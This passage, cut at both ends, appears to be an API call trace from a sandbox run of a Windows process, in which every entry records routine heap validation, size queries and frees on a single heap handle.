hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd550 | out: hHeap=0x3b0000) returned 1 [0148.258] GetProcessHeap () returned 0x3b0000 [0148.258] GetProcessHeap () returned 0x3b0000 [0148.258] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd530) returned 1 [0148.258] GetProcessHeap () returned 0x3b0000 [0148.258] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd530) returned 0x18 [0148.258] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd530 | out: hHeap=0x3b0000) returned 1 [0148.258] GetProcessHeap () returned 0x3b0000 [0148.258] GetProcessHeap () returned 0x3b0000 [0148.258] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cce50) returned 1 [0148.258] GetProcessHeap () returned 0x3b0000 [0148.258] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cce50) returned 0x20 [0148.258] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cce50 | out: hHeap=0x3b0000) returned 1 [0148.258] GetProcessHeap () returned 0x3b0000 [0148.258] GetProcessHeap () returned 0x3b0000 [0148.258] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc060) returned 1 [0148.258] GetProcessHeap () returned 0x3b0000 [0148.258] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc060) returned 0xa0 [0148.259] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc060 | out: hHeap=0x3b0000) returned 1 [0148.259] GetProcessHeap () returned 0x3b0000 [0148.259] GetProcessHeap () returned 0x3b0000 [0148.259] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbae0) returned 1 [0148.259] GetProcessHeap () returned 0x3b0000 [0148.259] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cbae0) returned 0x18 [0148.259] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbae0 | out: hHeap=0x3b0000) returned 1 [0148.259] GetProcessHeap () returned 0x3b0000 [0148.259] GetProcessHeap () returned 0x3b0000 [0148.259] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb80) returned 1 [0148.259] GetProcessHeap () returned 0x3b0000 [0148.259] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccb80) returned 0x20 [0148.259] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb80 | out: hHeap=0x3b0000) returned 1 [0148.259] GetProcessHeap () returned 0x3b0000 [0148.259] GetProcessHeap () returned 0x3b0000 [0148.259] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2c0) returned 1 [0148.259] GetProcessHeap () returned 0x3b0000 [0148.259] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc2c0) returned 0x8c [0148.260] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2c0 | out: hHeap=0x3b0000) returned 1 [0148.260] GetProcessHeap () returned 0x3b0000 [0148.260] GetProcessHeap () returned 0x3b0000 [0148.260] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd570) returned 1 [0148.260] GetProcessHeap () returned 0x3b0000 [0148.260] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd570) returned 0x18 [0148.260] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd570 | out: hHeap=0x3b0000) returned 1 [0148.260] GetProcessHeap () returned 0x3b0000 [0148.260] GetProcessHeap () returned 0x3b0000 [0148.260] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb50) returned 1 [0148.260] GetProcessHeap () returned 0x3b0000 [0148.260] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccb50) returned 0x20 [0148.260] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb50 | out: hHeap=0x3b0000) returned 1 [0148.260] GetProcessHeap () returned 0x3b0000 [0148.260] GetProcessHeap () returned 0x3b0000 [0148.260] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc3c0) returned 1 [0148.260] GetProcessHeap () returned 0x3b0000 [0148.260] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc3c0) returned 0x8e [0148.261] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc3c0 | out: hHeap=0x3b0000) returned 1 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.261] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc3a0) returned 1 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.261] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc3a0) returned 0x18 [0148.261] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc3a0 | out: hHeap=0x3b0000) returned 1 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.261] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb20) returned 1 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.261] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccb20) returned 0x20 [0148.261] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb20 | out: hHeap=0x3b0000) returned 1 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.261] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc380) returned 1 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.261] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc380) returned 0xe [0148.261] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc380 | out: hHeap=0x3b0000) returned 1 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.261] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc360) returned 1 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.261] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc360) returned 0x18 [0148.261] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc360 | out: hHeap=0x3b0000) returned 1 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.261] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5dc0) returned 1 [0148.261] GetProcessHeap () returned 0x3b0000 [0148.262] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5dc0) returned 0x20 [0148.262] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5dc0 | out: hHeap=0x3b0000) returned 1 [0148.262] GetProcessHeap () returned 0x3b0000 [0148.262] GetProcessHeap () returned 0x3b0000 [0148.262] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbc60) returned 1 [0148.262] GetProcessHeap () returned 0x3b0000 [0148.262] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cbc60) returned 0x208 [0148.262] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbc60 | out: hHeap=0x3b0000) returned 1 [0148.262] GetProcessHeap () returned 0x3b0000 [0148.262] GetProcessHeap () returned 0x3b0000 [0148.262] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbac0) returned 1 [0148.262] GetProcessHeap () returned 0x3b0000 [0148.262] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cbac0) returned 0x18 [0148.262] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbac0 | out: hHeap=0x3b0000) returned 1 [0148.262] GetProcessHeap () returned 0x3b0000 [0148.262] GetProcessHeap () returned 0x3b0000 [0148.262] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5cd0) returned 1 [0148.262] GetProcessHeap () returned 0x3b0000 [0148.262] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5cd0) returned 0x20 [0148.263] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5cd0 | out: hHeap=0x3b0000) returned 1 [0148.263] GetProcessHeap () returned 0x3b0000 [0148.263] GetProcessHeap () returned 0x3b0000 [0148.263] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd2f0) returned 1 [0148.263] GetProcessHeap () returned 0x3b0000 [0148.263] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd2f0) returned 0x200 [0148.263] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd2f0 | out: hHeap=0x3b0000) returned 1 [0148.263] GetProcessHeap () returned 0x3b0000 [0148.263] GetProcessHeap () returned 0x3b0000 [0148.263] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbb00) returned 1 [0148.263] GetProcessHeap () returned 0x3b0000 [0148.263] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cbb00) returned 0x18 [0148.263] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbb00 | out: hHeap=0x3b0000) returned 1 [0148.263] GetProcessHeap () returned 0x3b0000 [0148.263] GetProcessHeap () returned 0x3b0000 [0148.263] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c40) returned 1 [0148.263] GetProcessHeap () returned 0x3b0000 [0148.263] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5c40) returned 0x20 [0148.264] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c40 | out: hHeap=0x3b0000) returned 1 [0148.264] GetProcessHeap () returned 0x3b0000 [0148.264] GetProcessHeap () returned 0x3b0000 [0148.264] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc270) returned 1 [0148.264] GetProcessHeap () returned 0x3b0000 [0148.264] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc270) returned 0x14 [0148.264] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc270 | out: hHeap=0x3b0000) returned 1 [0148.264] GetProcessHeap () returned 0x3b0000 [0148.264] GetProcessHeap () returned 0x3b0000 [0148.264] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc250) returned 1 [0148.264] GetProcessHeap () returned 0x3b0000 [0148.264] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc250) returned 0x18 [0148.264] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc250 | out: hHeap=0x3b0000) returned 1 [0148.264] GetProcessHeap () returned 0x3b0000 [0148.264] GetProcessHeap () returned 0x3b0000 [0148.264] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b80) returned 1 [0148.264] GetProcessHeap () returned 0x3b0000 [0148.264] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5b80) returned 0x20 [0148.265] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b80 | out: hHeap=0x3b0000) returned 1 [0148.265] GetProcessHeap () returned 0x3b0000 [0148.265] GetProcessHeap () returned 0x3b0000 [0148.265] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc290) returned 1 [0148.265] GetProcessHeap () returned 0x3b0000 [0148.265] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc290) returned 0x16 [0148.265] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc290 | out: hHeap=0x3b0000) returned 1 [0148.265] GetProcessHeap () returned 0x3b0000 [0148.265] GetProcessHeap () returned 0x3b0000 [0148.265] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc210) returned 1 [0148.265] GetProcessHeap () returned 0x3b0000 [0148.265] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc210) returned 0x18 [0148.265] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc210 | out: hHeap=0x3b0000) returned 1 [0148.265] GetProcessHeap () returned 0x3b0000 [0148.265] GetProcessHeap () returned 0x3b0000 [0148.265] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b50) returned 1 [0148.265] GetProcessHeap () returned 0x3b0000 [0148.265] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5b50) returned 0x20 [0148.265] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b50 | out: hHeap=0x3b0000) returned 1 [0148.265] GetProcessHeap () returned 0x3b0000 [0148.265] GetProcessHeap () returned 0x3b0000 [0148.265] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba40) returned 1 [0148.265] GetProcessHeap () returned 0x3b0000 [0148.265] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cba40) returned 0x2 [0148.265] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba40 | out: hHeap=0x3b0000) returned 1 [0148.266] GetProcessHeap () returned 0x3b0000 [0148.266] GetProcessHeap () returned 0x3b0000 [0148.266] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c59a0) returned 1 [0148.266] GetProcessHeap () returned 0x3b0000 [0148.266] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c59a0) returned 0x20 [0148.266] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c59a0 | out: hHeap=0x3b0000) returned 1 [0148.266] GetProcessHeap () returned 0x3b0000 [0148.266] GetProcessHeap () returned 0x3b0000 [0148.266] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c59d0) returned 1 [0148.266] GetProcessHeap () returned 0x3b0000 [0148.266] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c59d0) returned 0x20 [0148.266] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c59d0 | out: hHeap=0x3b0000) returned 1 [0148.266] GetProcessHeap () returned 0x3b0000 [0148.266] GetProcessHeap () returned 0x3b0000 [0148.266] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a00) returned 1 [0148.266] GetProcessHeap () returned 0x3b0000 [0148.266] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5a00) returned 0x20 [0148.267] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a00 | out: hHeap=0x3b0000) returned 1 [0148.267] GetProcessHeap () returned 0x3b0000 [0148.267] GetProcessHeap () returned 0x3b0000 [0148.267] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a30) returned 1 [0148.267] GetProcessHeap () returned 0x3b0000 [0148.267] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5a30) returned 0x20 [0148.267] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a30 | out: hHeap=0x3b0000) returned 1 [0148.267] GetProcessHeap () returned 0x3b0000 [0148.267] GetProcessHeap () returned 0x3b0000 [0148.267] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccbb0) returned 1 [0148.267] GetProcessHeap () returned 0x3b0000 [0148.267] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccbb0) returned 0x20 [0148.268] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccbb0 | out: hHeap=0x3b0000) returned 1 [0148.268] GetProcessHeap () returned 0x3b0000 [0148.268] GetProcessHeap () returned 0x3b0000 [0148.268] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd670) returned 1 [0148.268] GetProcessHeap () returned 0x3b0000 [0148.268] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd670) returned 0xa [0148.268] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd670 | out: hHeap=0x3b0000) returned 1 [0148.268] GetProcessHeap () returned 0x3b0000 [0148.268] GetProcessHeap () returned 0x3b0000 [0148.268] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccbe0) returned 1 [0148.268] GetProcessHeap () returned 0x3b0000 [0148.268] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccbe0) returned 0x20 [0148.268] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccbe0 | out: hHeap=0x3b0000) returned 1 [0148.268] GetProcessHeap () returned 0x3b0000 [0148.268] GetProcessHeap () returned 0x3b0000 [0148.268] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c7ac0) returned 1 [0148.268] GetProcessHeap () returned 0x3b0000 [0148.268] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c7ac0) returned 0x30 [0148.269] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c7ac0 | out: hHeap=0x3b0000) returned 1 [0148.269] GetProcessHeap () returned 0x3b0000 [0148.269] GetProcessHeap () returned 0x3b0000 [0148.269] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc10) returned 1 [0148.269] GetProcessHeap () returned 0x3b0000 [0148.269] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc10) returned 0x20 [0148.269] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc10 | out: hHeap=0x3b0000) returned 1 [0148.269] GetProcessHeap () returned 0x3b0000 [0148.269] GetProcessHeap () returned 0x3b0000 [0148.269] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c7b00) returned 1 [0148.269] GetProcessHeap () returned 0x3b0000 [0148.269] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c7b00) returned 0x30 [0148.270] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c7b00 | out: hHeap=0x3b0000) returned 1 [0148.270] GetProcessHeap () returned 0x3b0000 [0148.270] GetProcessHeap () returned 0x3b0000 [0148.270] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cce20) returned 1 [0148.270] GetProcessHeap () returned 0x3b0000 [0148.270] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cce20) returned 0x20 [0148.270] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cce20 | out: hHeap=0x3b0000) returned 1 [0148.270] GetProcessHeap () returned 0x3b0000 [0148.270] GetProcessHeap () returned 0x3b0000 [0148.270] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd590) returned 1 [0148.270] GetProcessHeap () returned 0x3b0000 [0148.270] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd590) returned 0x10 [0148.270] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd590 | out: hHeap=0x3b0000) returned 1 [0148.270] GetProcessHeap () returned 0x3b0000 [0148.271] GetProcessHeap () returned 0x3b0000 [0148.271] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccdf0) returned 1 [0148.271] GetProcessHeap () returned 0x3b0000 [0148.271] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccdf0) returned 0x20 [0148.271] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccdf0 | out: hHeap=0x3b0000) returned 1 [0148.271] GetProcessHeap () returned 0x3b0000 [0148.271] GetProcessHeap () returned 0x3b0000 [0148.271] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5b0) returned 1 [0148.271] GetProcessHeap () returned 0x3b0000 [0148.271] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd5b0) returned 0x10 [0148.271] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5b0 | out: hHeap=0x3b0000) returned 1 [0148.271] GetProcessHeap () returned 0x3b0000 [0148.271] GetProcessHeap () returned 0x3b0000 [0148.271] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccdc0) returned 1 [0148.271] GetProcessHeap () returned 0x3b0000 [0148.271] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccdc0) returned 0x20 [0148.272] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccdc0 | out: hHeap=0x3b0000) returned 1 [0148.272] GetProcessHeap () returned 0x3b0000 [0148.272] GetProcessHeap () returned 0x3b0000 [0148.272] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5d0) returned 1 [0148.272] GetProcessHeap () returned 0x3b0000 [0148.272] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd5d0) returned 0xe [0148.272] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5d0 | out: hHeap=0x3b0000) returned 1 [0148.272] GetProcessHeap () returned 0x3b0000 [0148.272] GetProcessHeap () returned 0x3b0000 [0148.272] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd90) returned 1 [0148.272] GetProcessHeap () returned 0x3b0000 [0148.272] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd90) returned 0x20 [0148.272] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd90 | out: hHeap=0x3b0000) returned 1 [0148.272] GetProcessHeap () returned 0x3b0000 [0148.272] GetProcessHeap () returned 0x3b0000 [0148.272] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5f0) returned 1 [0148.272] GetProcessHeap () returned 0x3b0000 [0148.272] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd5f0) returned 0x16 [0148.273] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5f0 | out: hHeap=0x3b0000) returned 1 [0148.273] GetProcessHeap () returned 0x3b0000 [0148.273] GetProcessHeap () returned 0x3b0000 [0148.273] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd60) returned 1 [0148.273] GetProcessHeap () returned 0x3b0000 [0148.273] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd60) returned 0x20 [0148.273] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd60 | out: hHeap=0x3b0000) returned 1 [0148.273] GetProcessHeap () returned 0x3b0000 [0148.273] GetProcessHeap () returned 0x3b0000 [0148.273] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd610) returned 1 [0148.273] GetProcessHeap () returned 0x3b0000 [0148.273] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd610) returned 0x16 [0148.273] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd610 | out: hHeap=0x3b0000) returned 1 [0148.273] GetProcessHeap () returned 0x3b0000 [0148.273] GetProcessHeap () returned 0x3b0000 [0148.273] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd30) returned 1 [0148.273] GetProcessHeap () returned 0x3b0000 [0148.273] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd30) returned 0x20 [0148.274] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd30 | out: hHeap=0x3b0000) returned 1 [0148.274] GetProcessHeap () returned 0x3b0000 [0148.274] GetProcessHeap () returned 0x3b0000 [0148.274] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e9d80) returned 1 [0148.274] GetProcessHeap () returned 0x3b0000 [0148.274] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3e9d80) returned 0x82 [0148.274] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e9d80 | out: hHeap=0x3b0000) returned 1 [0148.274] GetProcessHeap () returned 0x3b0000 [0148.274] GetProcessHeap () returned 0x3b0000 [0148.274] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd00) returned 1 [0148.274] GetProcessHeap () returned 0x3b0000 [0148.274] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd00) returned 0x20 [0148.275] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd00 | out: hHeap=0x3b0000) returned 1 [0148.275] GetProcessHeap () returned 0x3b0000 [0148.275] GetProcessHeap () returned 0x3b0000 [0148.275] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd650) returned 1 [0148.275] GetProcessHeap () returned 0x3b0000 [0148.275] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd650) returned 0xe [0148.275] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd650 | out: hHeap=0x3b0000) returned 1 [0148.275] GetProcessHeap () returned 0x3b0000 [0148.275] GetProcessHeap () returned 0x3b0000 [0148.275] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccd0) returned 1 [0148.275] GetProcessHeap () returned 0x3b0000 [0148.275] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cccd0) returned 0x20 [0148.275] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccd0 | out: hHeap=0x3b0000) returned 1 [0148.276] GetProcessHeap () returned 0x3b0000 [0148.276] GetProcessHeap () returned 0x3b0000 [0148.276] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba60) returned 1 [0148.276] GetProcessHeap () returned 0x3b0000 [0148.276] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cba60) returned 0x18 [0148.276] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba60 | out: hHeap=0x3b0000) returned 1 [0148.276] GetProcessHeap () returned 0x3b0000 [0148.276] GetProcessHeap () returned 0x3b0000 [0148.276] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a60) returned 1 [0148.276] GetProcessHeap () returned 0x3b0000 [0148.276] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5a60) returned 0x20 [0148.276] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a60 | out: hHeap=0x3b0000) returned 1 [0148.276] GetProcessHeap () returned 0x3b0000 [0148.276] GetProcessHeap () returned 0x3b0000 [0148.276] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a90) returned 1 [0148.276] GetProcessHeap () returned 0x3b0000 [0148.276] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5a90) returned 0x20 [0148.277] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5a90 | out: hHeap=0x3b0000) returned 1 [0148.277] GetProcessHeap () returned 0x3b0000 [0148.277] GetProcessHeap () returned 0x3b0000 [0148.277] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5ac0) returned 1 [0148.277] GetProcessHeap () returned 0x3b0000 [0148.277] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5ac0) returned 0x20 [0148.277] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5ac0 | out: hHeap=0x3b0000) returned 1 [0148.277] GetProcessHeap () returned 0x3b0000 [0148.277] GetProcessHeap () returned 0x3b0000 [0148.277] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5af0) returned 1 [0148.277] GetProcessHeap () returned 0x3b0000 [0148.277] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5af0) returned 0x20 [0148.278] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5af0 | out: hHeap=0x3b0000) returned 1 [0148.278] GetProcessHeap () returned 0x3b0000 [0148.278] GetProcessHeap () returned 0x3b0000 [0148.278] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba80) returned 1 [0148.278] GetProcessHeap () returned 0x3b0000 [0148.278] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cba80) returned 0x18 [0148.278] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba80 | out: 